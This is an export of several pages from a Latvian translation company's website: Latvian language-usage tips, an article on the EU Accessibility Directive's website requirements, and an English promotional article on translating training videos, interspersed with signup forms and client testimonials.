pārsūtīju tev skrīnšotu. Vai arī ekrānšāviņu? Varbūt tomēr ekrānuzņēmumu? Attīstoties tehnoloģijām, valodā parādās arī jauni vārdi un termini. Dažkārt inovācijas parādās ātrāk un biežāk, nekā izdodas atrast tām atbilstošus vārdus latviski. Tāpēc nereti sarunvalodā tiek lietoti anglicismi vai tieši pārnesumi no angļu valodas. Tāpat noticis arī ar vārdu screenshot, kas vispirms lietots, vārdam angļu valodā pievienojot galotni un pēc tam tieši pārnesot abas salikteņa daļas latviešu valodā. Tomēr, fiksējot ierīces ekrānā redzamo attēlu, neviens netiek apšaudīts. Tāpēc pārnesums “ekrānšāviņš” ir nevēlams. Tā vietā lietosim kalku, kas darināts, ņemot vērā vārda nozīmi, jeb vārdu “ekrānuzņēmums”. Tātad ieraudzīju svarīgu ziņu un pārsūtīju tev ekrānuzņēmumu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Urbināt vai rubināt – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-02-04 - Modified: 2025-01-22 - URL: https://skrivanek.lv/urbinat-vai-rubinat/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional URBINĀT VAI RUBINĀT 1 Edijs degunu urbina vai rubina? Kā ir pareizi? Patiesībā pareizi ir abi. Latviešu literārās valodas vārdnīcā norādīts: urbināt – ar ko smailu censties izdabūt (no cauruma, dobuma spraugas). Lai arī vārda "rubināt" pirmā nozīme ir 'radīt raksturīgas, ritmiskas, padobjas balss skaņas (par rubeņiem, medņiem)', retāk šo vārdu lieto arī ar nozīmi 'urbināt'. Tālab arī Edijs var degunu gan urbināt, gan rubināt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Piekļūstamības direktīva – ietekme uz uzņēmumiem un kā nodrošināt digitālo piekļūstamību. Atklājiet galvenās prasības tīmekļvietnēm. - Published: 2025-02-03 - Modified: 2025-07-16 - URL: https://skrivanek.lv/pieklustamibas-direktiva-un-tas-nozimigums-uznemejiem/ - Kategorijas: Raksti - Translation Priorities: Optional PIEKĻŪSTAMĪBAS DIREKTĪVA UN TĀS NOZĪMĪGUMS UZŅĒMĒJIEM? Lai veicinātu produktu un pakalpojumu piekļūstamību cilvēkiem ar invaliditāti, 2019. gada 17. aprīlī tika pieņemta Eiropas Savienības Piekļūstamības direktīva. Šobrīd dalībvalstis direktīvu ir iestrādājušas to likumdošanā. Savukārt jau pēc pusgada – 2025. gada 28. jūnijā – uzņēmumiem būs jāatbilst direktīvas prasībām. Lai gan šīs prasības sākotnēji var šķist sarežģītas, pareizais partneris var palīdzēt nodrošināt atbilstību bez liekiem sarežģījumiem. Skrivanek piedāvā ekspertu konsultācijas un risinājumus, kas palīdz uzņēmumiem ne tikai izpildīt prasības, bet arī gūt konkurences priekšrocības, uzlabojot daudzvalodu digitālo pieejamību. Uzņēmumi, kas laikus ieviesīs piekļūstamības prasības, ne tikai izvairīsies no juridiska rakstura riskiem, bet arī paplašinās klientu loku un uzlabos digitālo klātbūtni. Šajā rakstā aplūkosim sīkāk direktīvas prasības, kā arī to ietekmi uz uzņēmumiem, veidojot un uzturot tīmekļa vietnes. Tāpat izsvērsim arī izmaiņu veicinātās priekšrocības. Tīmekļa vietņu piekļūstamības prasības Viens no svarīgākajiem direktīvas aspektiem ir nodrošināt tīmekļvietņu pilnīgu piekļūstamību visām sabiedrības grupām – tostarp cilvēkiem ar invaliditāti. Zemāk ir uzskaitīti galvenie aspekti, kam būtu jāpievērš uzmanība. Lai nodrošinātu, ka tīmekļvietnes saturs ir skaidri uztverams un atbilst Piekļūstamības direktīvas prasībām, Skrivanek piedāvā teksta saprotamības auditu, kas palīdz identificēt valodas barjeras, sarežģītus formulējumus un nepārskatāmu informācijas struktūru. Mūsu eksperti var analizēt un pielāgot saturu, padarot to vieglāk uztveramu dažādām lietotāju grupām, tostarp cilvēkiem ar kognitīviem vai lingvistiskiem izaicinājumiem. Turklāt, Skrivanek var veikt tīmekļvietņu piekļūstamības pārbaudi, nodrošinot, ka teksts, multivides elementi un navigācija atbilst piekļūstamības standartiem, tādējādi palīdzot uzņēmumiem veiksmīgi ievērot regulatīvās prasības un uzlabot lietotāju pieredzi. Alternatīvais teksts attēliem Katram attēlam jābūt aprakstošam ar alternatīvu tekstu (“alt text”), lai lietotāji ar redzes traucējumiem spētu to uztvert, izmantojot ekrānlasītājus. Pareizu virsrakstu un nosaukumu izmantošana Tīmekļa vietnēm jābūt loģiski strukturētām. Lapās ir jāizmanto H1, H2 un H3 līmeņa virsrakstus, kas uzlabo navigāciju. Navigācija ar tastatūru Jāpastāv iespējai pārskatīt vietni tikai ar tastatūras palīdzību. Tas ir būtiski lietotājiem, kas nevar izmantot peli. Pietiekams kontrasts un salasāmība Tekstam un fona krāsai jābūt ar pietiekami lielu kontrastu, lai saturu spētu salasīt arī cilvēki ar redzes traucējumiem. Piekļūstamas formas un ievades lauki Visām formām, piemēram, anketā, jābūt skaidri marķētām, kā arī ar atbilstošām aizpildes instrukcijām. Tādējādi tiktu nodrošināts lielāks lietojamības līmenis. Piekļūstams video un audio saturs Audiovizuāliem materiāliem jābūt pieejamiem dažādos formātos. Piemēram, video jābūt iestrādātiem subtitriem un audio aprakstiem, savukārt audio saturam jābūt arī tekstuālā veidolā. Šādu, piekļūstamāku saturu spētu labāk patērēt arī cilvēki ar dzirdes vai redzes traucējumiem. Skrivanek piedāvā profesionālu subtitru, audio aprakstu un tekstuālu transkriptu izveidi vairākās valodās, tādējādi nodrošinot kvalitatīvu un piekļūstamu saturu plašākai auditorijai. CITAS DIGITĀLĀS ATBILSTĪBAS PRASĪBAS Papildus minētajām tīmekļvietņu prasībām uzņēmumiem ir jāpārliecinās, ka arī e-komercijas platformas, mobilās lietotnes un citas ar klientu apkalpošanu saistītas tehnoloģijas atbilst piekļūstamības prasībām. Minētās prasības attiecas uz dažādiem digitālajiem produktiem un pakalpojumiem, piemēram: internetbanku pakalpojumiem; transporta rezervācijas platformām; mazumtirdzniecības vietnēm; valsts un pašvaldību sniegtajiem pakalpojumiem. IEMESLI, KĀDĒĻ PIEKĻŪSTAMĪBA IR IZDEVĪGA UZŅĒMUMIEM Ikkatras izmaiņas var izraisīt pretestību un vēlmi rīkoties kā līdz šim. Tāpat, lai veiktu pārmaiņas, var nākties ieguldīt naudu. Taču piekļūstamības uzlabošanai ir arī ievērojamas priekšrocības, kas uzņēmumiem var būt saistošas. Plašāks klientu loks Uzlabojot tīmekļa vietņu un pakalpojumu piekļūstamību, uzņēmumi var sasniegt krietni lielāku potenciālo klientu loku. Pēc Eiropas Komisijas rīcībā esošajiem datiem, Eiropas Savienībā ir aptuveni 87 miljoni cilvēku ar dažāda veida invaliditāti. Savukārt Latvijā vismaz kāda no invaliditātes grupām ir piešķirta vairāk nekā 200 tūkstošiem cilvēku. Taču šīs izmaiņas neattiecas tikai ļaudīm ar invaliditāti. Piekļūstamība atvieglo pakalpojumu lietošanu arī vecāka gadagājuma cilvēkiem, kā arī personām ar īslaicīgiem funkcionāliem traucējumiem. Uzlabots SEO, palielināts apmeklētāju skaits Piekļūstamas vietnes bieži iegūst augstākas pozīcijas “Google” un citās meklētājprogrammās. Skrivanek var palīdzēt ne tikai ar daudzvalodu SEO stratēģiju, bet arī ar precīziem atslēgvārdu tulkojumiem un pielāgošanu dažādiem tirgiem, kas veicina uzņēmuma redzamību un pieejamību globālā līmenī. Piemēram, attēlu alternatīvais teksts, atbilstoši marķēti virsraksti (ar H1, H2 un H3 līmeņiem) un pielāgots dizains viedierīcēm veicina labāku pozīciju, meklējot ar vietni saistītus atslēgas vārdus interneta pārlūkprogrammā. Savukārt tas jau tālāk var palielināt vietnes apmeklētāju skaitu. Bet lielāks ieinteresētu apmeklētāju skaits var palielināt pārdošanas apjomu. Labāka lietotāju pieredzes (UX) Piekļūstamības uzlabojumi padara vietni vieglāk uztveramu un lietotājiem draudzīgāku. Kad lapu navigācija ir skaidra un saturs viegli uztverams, palielinās lietotāju apmierinātība un iesaiste, piemēram, lemjot par pirkuma veikšanu. Kā piekļūstamība palīdz daudzvalodu uzņēmumiem? Uzņēmumiem, kas sniedz savus pakalpojumus vairākās valodās, piekļūstamības uzlabojumi sniedz būtiskas priekšrocības – uzlabojas saziņa ar plašāku klientu loku, kā arī atvieglo darbības uzsākšanu jaunos tirgos. Labāks daudzvalodu SEO Lai digitālais saturu būtu ērti lietojams, ir svarīgi nodrošināt, ka alternatīvais teksts, “meta” failu apraksti un virsraksti ir pareizi tulkoti un pieejami dažādās valodās. Tas ne tikai uzlabo vietnes pozīciju meklētājprogrammās dažādās valstīs, bet arī palielina redzamību globālajos meklēšanas rezultātos, palīdzot sasniegt plašāku auditoriju. Precīzāki automatizētie tulkojumi Ja vietne vēl nav tulkota dažādās valodās, tad, strukturēti un skaidri marķējot saturu, tiek atvieglots automātisko vai mākslīgā intelekta tulkošanas rīku “darbs”, ļaujot radīt precīzākus un plūstošākus tulkojumus. Piemēram, kad vietnes viesi izmanto interneta pārlūkprogrammu iebūvētos tulkošanas rīkus. Soļi, kas jāveic uzņēmumiem Līdz 2025. gada 28. jūnijam uzņēmumiem ir vēl laiks, lai: veiktu piekļūstamības auditu – identificētu un novērstu digitālās piekļūstamības trūkumus; apmācītu komandu – izstrādātājiem, dizaineriem un satura radītājiem jāzina piekļūstamības standarti; atjauninātu vietni un saturu, ieviešot alternatīvos tekstus, sakārtojot virsrakstu struktūru, kā arī izveidojot tastatūras navigācijas un multivides piekļūstamības funkcijas; konsultētos ar ekspertiem – sadarbībā ar piekļūstamības speciālistiem iespējams ātri un efektīvi fiksēt, kur nepieciešami uzlabojumi; regulāri uzraudzītu un uzturētu atbilstību – pārmaiņu ieviešana prasa laiku, tādēļ pie nosacījumiem ir jāpierod un to izpilde jāuzrauga. Lai nodrošinātu šo soļu efektīvu ieviešanu, uzņēmumiem ir svarīgi sadarboties ar uzticamiem partneriem, kas pārzina piekļūstamības prasības un var piedāvāt praktiskus risinājumus. Skrivanek palīdz uzņēmumiem veikt pilnvērtīgu piekļūstamības auditu, pārtulkot un lokalizēt saturu vairākās valodās, izveidot piekļūstamus multimediju materiālus un pielāgot digitālo saturu SEO prasībām. Galvenie izaicinājumi Uzņēmējdarbībā ir ierasts, ka pārmaiņas var sniegt ne tikai ieguvumus, bet arī zināmus riskus. Šīs izmaiņas nav izņēmumus. Lai veicinātu pārmaiņas, var nākties saskarties ar zināmiem izaicinājumiem. Papildu izmaksas Viens no lielākajiem izaicinājumiem, ieviešot piekļūstamības risinājumus, ir papildu izmaksas. Taču lielā mērā šīs izmaksas var uztvert par ilgtermiņa ieguldījumu, nevis tikai izdevumiem. Informētība un apmācības Daudzi uzņēmumi vēl nezina piekļūstamības prasībām un to ieviešanas nozīmi. Skrivanek piedāvā apmācības un darbnīcas par daudzvalodu digitālo piekļūstamību, palīdzot uzņēmumiem efektīvāk pielāgoties prasībām un nodrošinot, ka piekļūstamības standarti tiek ievēroti ne tikai latviešu valodā, bet arī citās valodās, kurās uzņēmums darbojas. Lai nodrošinātu veiksmīgāku pāreju, ir svarīgi veikt darbinieku apmācības, kā arī sadarboties ar šīs jomas ekspertiem. Izglītojot komandu par piekļūstamības standartiem, uzņēmumi var efektīvāk pielāgoties jaunajām prasībām un nodrošināt to ievērošanu ilgtermiņā. Tehnisko prasību izpratne Piekļūstamības veicināšanas tehniskā puse var šķist sarežģīta. It īpaši, ja līdz šim kas līdzīgs nav veikts. Kā labs pirmais solis var būt kalpot Viedās administrācijas un reģionālās attīstības ministrijas latviešu valodā publicētās starptautiskās piekļūstamības vadlīnijas jeb WCAG (“Web Content Accesibility Guidelines”). Lai labāk izprastu un ieviestu piekļūstamības standartus, svarīga ir dokumentācijas pielāgošana un tulkošana. Skrivanek var palīdzēt uzņēmumiem, tulkojot un lokalizējot tehnisko dokumentāciju dažādās valodās, kas ir būtiski uzņēmumiem, kas darbojas starptautiskā tirgū un vēlas nodrošināt atbilstību globālajiem standartiem. Taču, lai iegūtu paplašinātas zināšanas, kā arī konkrētajai jomai un uzņēmumam pielāgotus risinājumus, ieteicams sazināties ar ekspertiem, kas ietaupa uzņēmuma darbinieku laiku, nākot jau ar gataviem ieteikumiem un risinājumiem. Piekļūstamība var sākotnēji šķist kā slogs, taču, nedaudz ieguldot laiku piekļūstamības uzlabošanā, iespējams piesaistīt lielāku apmeklētāju skaitu, kas savukārt var novest pie palielinātiem pārdošanas rādījumiem. Ja Jums ir nepieciešama palīdzība, lai iedziļinātos vēl sīkāk piekļūstamības prasību izpildē, droši sazinieties ar Skrivanek vai piesakieties tiešsaistes konsultācijai, lai saņemtu vairāk informāciju par mūsu iespējam sadarboties. Kopā atradīsim Jums pielāgotu risinājumu. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *ZiņaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Atbilstoši likumam vai atbilstoši likumdošanai – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-01-28 - Modified: 2025-01-28 - URL: https://skrivanek.lv/likums-vai-likumdosana/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LIKUMS VAI LIKUMDOŠANA 1 Policija, pieņemot lēmumu, ir rīkojusies atbilstoši likumdošanai. Vai tomēr atbilstoši likumam? Abi vārdi ir pareizi, taču katram no tiem ir sava nozīme un lietojums. Likumdošana ir process: likuma sagatavošana, apspriešana un pieņemšana. Tomēr bieži vārds “likumdošana” tiek lietots ar nozīmi ‘likumu kopums’, kas uzskatāma par nevēlamu. Šādās situācijās būtu jāizmanto vārdi “likumi”, “noteikumi” vai “tiesību akti”. Tātad likumdošana ir viens no mūsu deputātu pienākumiem. Savukārt mēs, kā arī policija, rīkosimies atbilstoši likumam, likumos vai tiesību aktos noteiktajām prasībām. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Find out how professional training video translation and localisation can help your business reach an international audience. Get in touch! - Published: 2025-01-24 - Modified: 2025-07-01 - URL: https://skrivanek.lv/macibu-video-tulkosana/ - Kategorijas: Article, Raksti - Translation Priorities: Optional TRANSLATION OF TRAINING VIDEOS FOR STAFF Translation of various training videos for employees Training videos for employees are now a common practice in almost every company and organisation – from a wide range of training videos on the popular online sites Coursera or Udemy to carefully produced in-house video content for employees on the specifics of the company's business. If your company needs to train and educate employees or users of your online product in different countries, training videos are the way to go. However, when trying to reach international audiences, it is very important to pay attention to quality translation and localisation of the content. And that's exactly where we come in – Skrivanek! Translation of various training videos for employees Educational videos have undoubtedly brought about significant changes in education, knowledge and know-how exchange. They provide a high-quality, demonstrable learning experience that often proves to be more engaging and effective compared to traditional text-based reading resources or presentations. Learning material through more than one sense is certainly more effective and engaging. Time to see how your company can benefit from the translation of training videos. WHERE ARE TRAINING VIDEOS USED? In a word: everywhere. You can use training videos to educate employees, product, app, system users and customers. The most effective training videos help you: learn a new language; understand how a particular device or app works; learn new software; educate your audience about different aspects of law or science; and even help you assemble your furniture! And thanks to online social video sharing websites like YouTube, you can publish and share your videos for free and reach audiences around the world – but what about the language barrier? Are artificial intelligence tools the solution? Why are training videos so useful? There are several good reasons. Firstly, your audience can learn from them at their own pace, from home and often for practically free. After the coronavirus pandemic, when distance learning became the new standard for digital education, this is still and will continue to be the case. Secondly, your company can show thousands of students/customers how to perform a specific action once – and that saves a lot of time. You don't have to organise dozens of different workshops – even thousands of learners can access your training content at the same time. Finally, properly produced training videos can be engaging and highly educational because the material is presented in a highly effective and interactive way. No wonder they are used by so many companies and institutions. However, if you want to use the same video for other language speaking audiences, you need to make sure you have good translation and localisation. How to translate training videos? First, you need to prepare subtitles. If you don't have this option, there are two other options: dubbing or voice over, but these are more expensive and require a professional sound studio as well as good speech specialists. Nine times out of ten, subtitling is enough for a standard training video. You can create your own subtitles or use automatic subtitling software. There are many advantages! They allow you to quickly create subtitles in the appropriate language and record the exact time. However, this is only the first step. Subtitles created automatically or with the help of artificial intelligence are usually full of typos or incorrect terms (e. g. they sound similar), the idea does not read and the text is “synthetic”, or maybe the video content is very confidential. This is where the language company Skrivanek comes in. We analyse the automatically generated subtitles, the transcription and check the correctness of the timestamps used. In many cases, the length of the subtitles also needs to be checked. Sometimes sentences are unnecessarily split into several lines, and sometimes the opposite is true, and the subtitle displayed is too long and therefore difficult to read and the idea is not perceptible. Let's say you already have a training video and subtitles. Now you need to translate them into another language. And the translator gets to work. Each subtitle is translated and localised into the target language to ensure that the final translation is not only technically accurate and correct, but also natural and easy to understand for the target audience. Once this part is completed, the translation files are sent to a proofreader who is a native speaker of the target language. In general, the translation office has to: watch and understand the objectives of each training video; check the accuracy of the timestamps; check the accuracy of the automatically generated subtitles; make any necessary corrections; translate the improved subtitles into the foreign language; check the accuracy of the translation together with the proofreader, who is a native speaker of the target language. Depending on the complexity of the content, the length and the number of training videos, this service can take up to several weeks. There are also a number of challenges along the way that need attention. CHALLENGES IN TRANSLATING TRAINING VIDEOS Acceptable or offensive? As AI is evolving faster than non-IT people can comprehend and grasp, there are also a number of myths associated with AI. One of the most popular is that AI will take jobs away from people. We are understandably fearful of rapid change and its potential consequences, but experts point out that people who are willing to grow professionally and acquire new skills will never be unemployed. Artificial intelligence is making people's daily lives easier, has increased productivity and has made room for creativity. This means that people will not be short of work, but their job roles and responsibilities will change. When translating training videos, it is important to take cultural nuances into account. A training video that is well received and understood in one culture will not necessarily be so in other cultures. This includes not only translating the words, but also adapting the content to the cultural context of the target audience. This requires localisation. Synchronisation In training videos, speech is usually synchronised with the presentation material (e. g. diagrams or process steps). Translators need to ensure that the translated content matches the timing of the original, which can be difficult. Technical terminology Many educational videos, especially in technical or industrial fields, use professionalisms and technical terminology. Accurate translation of these terms is essential to ensure that the videos retain their high educational value. If your company has a glossary of such terms, it is a great idea to share it with your language service partner of choice. Qualified translators We only work with qualified and experienced translators who not only have a strong proficiency in the target language, but also understand the nature of video as an educational medium. Technical terminology Many educational videos, especially in technical or industrial fields, use professionalisms and technical terminology. Accurate translation of these terms is essential to ensure that the videos retain their high educational value. If your company has a glossary of such terms, it is a great idea to share it with your language service partner of choice. Presentation materials The translation of training videos is not limited to the translation of spoken or written text; it also includes the translation of visual aids such as on-screen text and diagrams. If your videos contain such material, it is important to specify it when requesting a quote from a language service company. Best practices for translating training videos Our mission is to provide high-quality video translations for our clients, so we only use the best methods to ensure a high-quality end result: Localisation We never just translate video content, localisation is an equally important aspect of our work. Thanks to this service, we can tailor subtitles to the cultural context and specificities of the target audience. This may require changing visual elements, using culturally appropriate examples or even changing the intonation of the narration. And in the end, it turns out – the effort was worth it! Quality assurance We follow and implement strict quality assurance procedures, which include checking the translated content to make sure it is accurate and natural, as well as checking the synchronisation of text and voice. TIME TO TRANSLATE YOUR VIDEO! Are you currently looking for a language services company to translate your training video? Then we invite you to contact us and request a free quote or book an online consultation. We promise that we will do everything we can to ensure that your video is translated as well as possible. We look forward to receiving your request! Translating training videos is your path to international success. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju. Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju. Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus. Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama. Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni. Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas. Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus. --- > Arlabunakti, ar labunakti vai ar labu nakti – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-01-22 - Modified: 2025-03-12 - URL: https://skrivanek.lv/arlabunakti-ar-labunakti-vai-ar-labu-nakti/ - Kategorijas: Test - Translation Priorities: Optional ARLABUNAKTI VAI AR LABUNAKTI, VAI AR LABU NAKTI 1 Kā vēlēsim saldu miegu pirms došanās pie miera? Pētot vārdnīcas, redzams, ka novēlējuma pamatā ir vienība "labanakts" – sveiciens, atvadoties vakarā vai naktī (parasti pirms gulēšanas). Tātad, balstoties uz šo informāciju, būtu jāvēl "Ar labunakti! ". Tiesa, arī atsevišķā vārdu rakstība – "Ar labu nakti! " – latviešu valodā ir nostiprinājusies kā variants un tiek plaši lietota. Savukārt "Arlabunakti! " ir izsauksmes vārds, kas rakstāms kopā. Tāpēc patiesībā, dodoties pie miera, labunakti un saldu miegu varam vēlēt visās formās: "Ar labunakti! ", "Ar labu nakti! ", "Arlabunakti! " vai vienkārši "Labu nakti! "Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, 